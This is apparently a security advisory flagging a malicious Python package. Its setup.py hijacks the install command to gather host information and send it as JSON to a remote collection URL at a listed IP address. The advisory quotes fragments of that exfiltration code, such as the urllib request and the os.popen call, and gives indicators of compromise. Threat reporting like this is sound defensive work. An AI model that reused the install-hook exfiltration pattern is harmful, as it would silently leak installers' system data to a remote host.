GCVE-110-OSM-2026-8392

Malicious package detected. Behaviors: data exfiltration, code execution, network activity. ENTRY setup.py (install-hook: install/develop/build override present) - setup.py Code Execution in setup.py DESTINATION - custom-c2: https://src-ssrf.bytedance.net/ssrf (primary, plaintext) in setup.py - custom-c2: http://182.92.143.23/collect.php (plaintext) in setup.py - custom-c2: src-ssrf.bytedance.net (plaintext) in setup.py - custom-c2: 182.92.143.23 (plaintext) in setup.py EXFIL - Python File Upload to Remote in setup.py: "urllib.request.Request( "http://182.92.143.23/collect.php", data=" - System Information Exfiltration in setup.py: "socket.gethostname() except: hst="no data xhjxhj" # 收集环境信息 data = { "hostname": ..." - Data Encoding for Exfiltration in setup.py: "json.dumps(data).encode" - Network Request in setup.py: "Request( "http:" - System Information Collection in setup.py: "socket.gethostname()" - Suspicious Domain in setup.py: "http://182.92.143.23" ADDITIONAL FINDINGS - Shell Command Execution in setup.py: "os.popen(" - Setup.py Command Override in setup.py: "cmdclass={"install"" PAYLOAD FILES setup.py INDICATORS (IOCs) - payloadFileHash: 20707e6dc425113e858078735d51f5c5a82ab90bfe41d84b3b36a3f58c542af6